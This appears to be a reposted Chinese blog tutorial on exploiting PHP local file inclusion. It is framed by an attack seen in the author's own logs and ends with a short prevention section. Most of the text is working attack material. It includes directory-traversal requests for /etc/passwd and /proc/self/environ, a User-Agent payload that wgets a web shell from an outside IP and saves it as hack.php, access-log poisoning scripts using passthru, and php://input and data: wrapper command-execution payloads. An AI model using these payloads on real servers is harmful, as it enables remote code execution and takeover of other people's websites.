刚刚从网站访问日志中捕获LFI(Local File Include,本地文件包含)攻击,攻击参数为../../../../../../../../../../../../..//proc/self/environ00,攻击截图如下:
捕获LFI攻击-Local File Include本地文件包含
怎样通过LFI(Local File Include,本地文件包含)攻击?
第一步:寻找本地包含漏洞
首先找到一个可能存在本地包含的文件,去check它
比如: www.website.com/view.php?page=contact.php
替换成 www.website.com/view.php?page=../
我们得到一个错误
1 |
Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337 |
翻译下以上的错误信息如下:
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/home/sirgod/public_html/website.com/view.php
说明机会很大,只是不存在文件而已
那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd
提交
1 |
url:www.website.com/view.php?page=../../../etc/passwd |
依旧是:
1 |
Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337 |
所以我们一层层的加上../测试,直到显示为止
1 |
www.website.com/view.php?page=../../../../../etc/passwd |
这个时候我们成功的包含了/etc/passwd
1 |
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin |
第二步:检查proc/self/environ是否可用访问
提交
1 |
url:www.website.com/view.php?page=../../../../../proc/self/environ |
如果看到类似如下信息:
1 |
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= |
2 |
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 |
|
|
|
说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD
第三步: 注入恶意代码
我们怎么才能把我们的恶意代码注入到proc/self/environ呢?
我们可以注入我们的代码在用户代理HTTP头。
使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL:
1 |
www.website.com/view.php?page=../../../../../proc/self/environ |
选择User-Agent 写代码如下:
1 |
<?system('wget http://61.164.38.24/rfi.txt -O hack.php');?> |
或者
1 |
<?php copy('http://61.164.38.24/rfi.txt', 'hack.php') ?> |
然后提交请求。
我们的命令将被执行(将下载http://hack-bay.com/Shells/gny.txt,并将其保存为它在shell.php
网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
第四步:访问我们的shell
预防LFI攻击的方法
1.涉及到的危险函数(include(),require()和include_once(),require_once())
在这些函数调用时,尽量采用明确参数,如果使用变量做参数则变量必须明确初始化,防止变量被通过URL改变赋值。
2.禁用system等危险php函数。
PHP包含漏洞是怎样产生的?
php包含漏洞替代技术
php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。
这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏洞。在过去的几年中,php已经开始试图通过缺省设置来消除或限制这种漏洞的所带来影响。
但即使是简单的本地文件包含,也会有新的技术去利用这些漏洞来导致远程命令的执行。
介绍php包含漏洞
文件包含漏洞的要点是要去找到一个方法来包含带有你的php恶意代码的文件。
1 |
<?php |
2 |
include($_GET['content']); |
www.2cto.com
5 |
http://target/index.php?content=/etc/passwd |
6 |
|
这是第一个例子,它包含了本地文件/etc/pa sswd第二个例子包含了一个远程文件,这个远程包含文件在大多数情况下不能使用,因为php设置中的allow_url_fopen默认是off。
当然,通常有此
漏洞的php代码会比上面的例子更有限制性,通常是通过在前面加上一个目录,防止远程文件包含,前面加一个文件扩展名来限制可以包含哪些类型的文件。
1 |
<?php |
2 |
include("pages/".$_GET['content'].".php"); |
5 |
http://target/index.php?content=../../../etc/passwd%00 |
…/的使用允许目录横向风格的操作,使你可以操作代码中预定目录以外的目录的文件。
如果php设置中open_basedir为on,它将会阻止你绕过过多的目录。
网站的开发者有可能也会使用一些函数来过滤掉来自用户提交的恶意数据,但并非总是如此。
空字节字符%00(\0)终止字符串,来切断在它之后提交的任何东西,即是当magic_quotes_gpc 默认为on的时候,也可以逃过。
在http://ush.it网站中有一篇名为《PHP文件系统的攻击媒介》提供了可能的方法来应付空字节字符。
php脚本安全也可能取决于像$_GLOBAL[]或$_SERVER[]等的变量,像最近被发现的phplist的漏洞(phplist是一款国外的Email程序),例子为
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/passwd
本地文件包含致远程代码执行
一次你找到一个本地包含漏洞,你需要找到一个方法去把你的恶意php代码插入一个文件中,大量的技术在过去的几年中出现。
有一种在服务日志中去注入php代码的技术比上面这些包含漏洞要出现的晚。
它是有可能的去把我们的代码插入http请求的头部,然后包含Apache的access_log日志文件(它可能会进行一些测试去找到access_log)。
考虑一下这个例子,在Mac OS X的Apache/PHP默认配置下,写一个脚本去发送一个请求可能是必须的,因为
浏览器可能会对一些字符进行转义。
1 |
<?php |
2 |
$a = fsockopen("localhost",80); |
3 |
fwrite($a,"GET /<?php passthru(\$_GET['cmd']); ?> HTTP/1.1\r\n". |
4 |
"Host: localhost\r\n". |
5 |
"Connection: Close\r\n\r\n"); |
6 |
fclose($a); |
9 |
http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id |
另一种方法是包括了Apache/
PHP进程的环境变量的/proc/ self/environ文件。
如果我们将恶意代码插入User-Agent 的头部,这些代码会出现在那个文件里,所以远程执行代码是可能的。
/proc/self/environ必须是可读的
1 |
<?php |
2 |
$a = fsockopen("localhost",80); |
3 |
fwrite($a,"GET /../../../../proc/self/environ HTTP/1.1\r\n". |
4 |
"User-Agent: <?php passthru(\$_GET['cmd']); ?>\r\n". |
5 |
"Host: localhost\r\n". |
6 |
"Connection: Close\r\n\r\n"); |
Php封装包含漏洞
利用php的include函数的另一种方法是利用php封装(http://www.php.net/wrappers.php)。这个例子将使用PHP输入,从一个HTTP POST请求的原始数据并执行它:
漏洞代码:
1 |
<?php |
2 |
include($_GET['content']); |
我们的请求:
01 |
<?php |
02 |
$request = "<?php passthru('id;');?>"; |
03 |
$req = "POST /index.php?content=php://input |
04 |
HTTP/1.1\r\n". |
05 |
"Host: localhost\r\n". |
06 |
"Content-type: text/html\r\n". |
07 |
"Content-length: ".strlen($request)."\r\n". |
08 |
"Connection: Close\r\n\r\n". |
09 |
"$request \r\n\r\n"; |
10 |
$a = fsockopen("10.0.2.2",80); |
11 |
fwrite($a,$req); |
12 |
echo $req; |
13 |
while (!feof($a)){echo fgets($a, 128);} |
14 |
fclose($a); |
得到的结果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
这个例子的前提是allow_url_include和allow_fopen_include两个选项设置为ON,在这种情况下,标准的远程文件包含是可能的。
这个方法的优点是它不依赖于外部储存文件服务器。
cr0w-at.blogspot.com提到另一种技术使用”数据:”封装:
1 |
index.php?content=data:,<?php system($_GET[c]);?>?&c=dir |
或者base64编码过的:
1 |
index.php?content=data:;base64,\PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir |
总结
这些方法大多都不是新的,并没有表现出缺陷或在PHP语言本身的局限性。这些问题通常可以通过强大的输入验证,常识编码,和一些预防更严格的服务器配置。